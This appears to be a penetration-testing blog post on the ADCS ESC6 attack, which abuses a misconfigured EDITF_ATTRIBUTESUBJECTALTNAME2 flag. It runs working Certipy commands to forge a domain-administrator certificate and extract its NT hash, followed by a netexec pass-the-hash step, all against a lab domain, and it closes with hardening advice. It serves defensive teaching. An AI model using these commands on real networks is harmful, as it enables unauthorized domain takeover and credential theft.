

Active Directory Certificate Attack (ADCS – ESC6)

 rbtsec.com/blog/active-directory-certificate-attack-adcs-esc6

Asif Khan

June 17, 2024



ADCS Part VI – Introduction

In [PART 5](#) of this ADCS series, we provided an overview of **Active Directory Certificate Services** and demonstrated the **ESC5** escalation technique with Golden Certificate Attack. This blog will specifically focus on the security implications of a misconfigured **EDITF_ATTRIBUTESUBJECTALTNAME2** flag on the CA Server. Threat Actors can exploit improper configurations of this flag to compromise the **Public Key Infrastructure (PKI)** and escalate their privileges within the domain.

Video Walkthrough



Watch Video At: <https://youtu.be/GuV6gElrjnk>

Prerequisites – ESC6 Attack

The **ESC6** is a post-exploitation attack that can only be performed once a threat actor gains access to a domain user (e.g., **SHIELD\pcoulson** in our case). The following are the requirements.

- **EDITF_ATTRIBUTESUBJECTALTNAME2** is set on the CA
- **Low Privileged Domain User (pcoulson)**
- **Certipy**
- **netexec**

ESC6 – Walkthrough

The **EDITF_ATTRIBUTESUBJECTALTNAME2** flag enables the addition of custom values in a certificate's **Subject Alternative Name (SAN)** field, even when the subject is created from Active Directory. When enabled on a **Certificate Authority (CA)**, this flag can allow malicious individuals to misuse certificate templates that permit domain authentication. By specifying random **Subject Alternative Names (SANs)**, attackers could potentially authenticate as any user, including domain administrators, which poses a serious security threat.

In summary, if the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag is set on a **Certificate Authority Server (CA)**, any template with client authentication enabled is vulnerable to an **ESC1** attack and can be used to request a certificate with a user-defined **Subject Alternative Name (SAN)**.

ADCS Enumeration

Copy

```
certipyfind-dc-ip192.168.115.180-upcoulson-p'P4ssw0rd123456@'
```

```
(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
# certipy find -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@'
Certipy v4.8.2 - by Oliver Lyak (lyak)

[*] Finding certificate templates
[*] Found 38 certificate templates
[*] Finding certificate authorities
[*] Found 3 certificate authorities
[*] Found 37 enabled certificate templates
[*] Trying to get CA configuration for 'shield-DC4-CA' via CSRA
[*] Got CA configuration for 'shield-DC4-CA'
[*] Trying to get CA configuration for 'SHIELD-ADCS' via CSRA
[!] Got error while trying to get CA configuration for 'SHIELD-ADCS' via CSRA: CAsessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'SHIELD-ADCS' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'SHIELD-ADCS'
[*] Trying to get CA configuration for 'shield-CSA' via CSRA
[!] Got error while trying to get CA configuration for 'shield-CSA' via CSRA: Could not connect: [Errno 113] No route to host
[*] Trying to get CA configuration for 'shield-CSA' via RRP
[!] Got error while trying to get CA configuration for 'shield-CSA' via RRP: [Errno Connection error (192.168.115.144:445)] [Errno 113] No route to host
[!] Failed to get CA configuration for 'shield-CSA'
[!] Got error while trying to check for web enrollment: [Errno 113] No route to host
[*] Saved BloodHound data to '20240615122024_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @lyak
[*] Saved text output to '20240615122024_Certipy.txt'
[*] Saved JSON output to '20240615122024_Certipy.json'

(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
#
```

Copy

```
cat20240615122024_Certipy.txt
```

```
(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
# cat 20240615122024_Certipy.txt
Certificate Authorities
0
  CA Name           : shield-DC4-CA
  DNS Name          : DC4.shield.local
  Certificate Subject : CN=shield-DC4-CA, DC=shield, DC=local
  Certificate Serial Number : 40EFC0500DFEB2AD46B8834A9DB86186
  Certificate Validity Start : 2023-11-28 18:30:36+00:00
  Certificate Validity End   : 2028-11-28 18:40:25+00:00
  Web Enrollment          : Enabled
  User Specified SAN      : Enabled
  Request Disposition     : Issue
  Enforce Encryption for Requests : Enabled
  Permissions
    Owner              : SHIELD.LOCAL\Administrators
    Access Rights
      Enroll           : SHIELD.LOCAL\
                        SHIELD.LOCAL\
                        SHIELD.LOCAL\
      Read             : SHIELD.LOCAL\
                        SHIELD.LOCAL\
      ManageCertificates : SHIELD.LOCAL\
                        SHIELD.LOCAL\
                        SHIELD.LOCAL\
                        SHIELD.LOCAL\
      ManageCa         : SHIELD.LOCAL\
                        SHIELD.LOCAL\
                        SHIELD.LOCAL\
                        SHIELD.LOCAL\

[!] Vulnerabilities
ESC6 : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022
```

ADCS Enumeration using Bloodhound

SHIELD-DC4-CA@SHIELD.LOCAL

Database Info

Node Info

Analysis

Certificate

Validity Start

2023-11-28 18:30:36+00:00

DNS Name

DC4.shield.local

Enforce Encryption for Requests

Enabled

Request Disposition

Issue

User Specified SAN

Enabled

Web Enrollment

Enabled

domain

SHIELD.LOCAL

type

Enrollment Service


AFFECTED OBJECTS

Directly Affected OUs

0

Affected OUs

0



SHIELD-DC4-CA@SHIELD.LOCAL

Requesting Domain Admin Certificate using User Template

Copy

```
certipyreq-caSHIELD-DC4-CA-dc-ip192.168.115.180-upcoulson-p'P4ssw0rd123456@' -
templateUser-targetDC4.shield.local-upnadministrator@shield.local
```

```
(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
# certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -template User -target DC4.shield.local -upn administrator@shield.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 125
[*] Got certificate with UPN 'administrator@shield.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
#
```

Authenticating with Domain Admin Certificate

Copy

```
certipyauth-pfxadministrator.pfx
```

```
(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
# certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@shield.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@shield.local': aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50

(root@rbtsecurity)-[~/MARVEL.local/ADCS/ESC6]
#
```

Verifying Domain Admin Hash using NetExec

Copy

```
netexec smb 192.168.115.180 -u administrator -H aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50 -xwhoami
```

```
(root@rbtsecurity) ~/MARVEL.local/ADCS/ESC6
# netexec smb 192.168.115.180 -u administrator -H aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
SMB 192.168.115.180 445 DC4 [*] Windows 10.0 Build 20348 x64 (name:DC4) (domain:shield.local) (signing:True) (SMBv1:False)
SMB 192.168.115.180 445 DC4 [+] shield.local\administrator:c5153b43885058f27715b476e5246a50 (Pwn3d!)

(root@rbtsecurity) ~/MARVEL.local/ADCS/ESC6
#
```

ESC6 Attack Walkthrough

```
root@rbtsecurity: ~/MARVEL
# certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -template User -target DC4.shield.local -upn administrator@shield.local
```

Gaining Access to DC via Pass-The-Hash Technique

Please refer to one of our previous ADCS attacks for more detailed information on gaining access via the [Pass-The-Hash Technique](#).

Gaining Access to DC using a TGT Ticket

We need to obtain the administrator.pfx file, which can be acquired by executing the below command.

Copy

```
certipyreq -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.LOCAL -upn 'administrator@shield.local'
```

Please refer to one of our previous ADCS attacks for more detailed information on gaining access using [TGT Ticket](#).

Conclusion

It has been acknowledged that **Active Directory Certificate Services (AD CS)** plays a pivotal role in organizational security. However, its effectiveness heavily relies on getting the configuration spot on, which leaves it vulnerable to various risks, like unauthorized access and privilege escalation within the domain. Attackers can exploit improper configuration of the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to compromise the **Public Key Infrastructure (PKI)** and escalate their privileges within the domain.

Regular penetration tests or adversary emulation assessments are necessary to combat these threats and beef up AD CS security. These tests ensure that security measures and configurations remain solid against evolving threats. While AD CS security is complex, we aim to provide clear guidance to navigate and protect this vital part of security infrastructure.

Here are some basic steps to shore up your AD CS security:

- **Check Certificate Templates:** Look at all active certificates and deactivate unused ones.
- **Tighten Template Permissions:** Be strict about who can access certificate templates, giving permissions only to those who need them. Also, keep a close eye on enrollment permissions.
- **Require Manual Approval:** Set up “Issuance Requirements” to ensure someone has to manually approve all certificate issuances, adding an extra layer of security.
- **Stick to the Least Privilege Principle:** Give people access only to what they absolutely need.

Detections & Mitigations :

- Credentials from Password Stores – [T1555](#)
- Steal or Forge Authentication Certificates – [T1649](#)
- Pass The Hash – [T1550.002](#)
- Steal or Forge Kerberos Tickets – [T1558](#)
- Pass the Ticket – [T1550.003](#)

Credits & References



Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.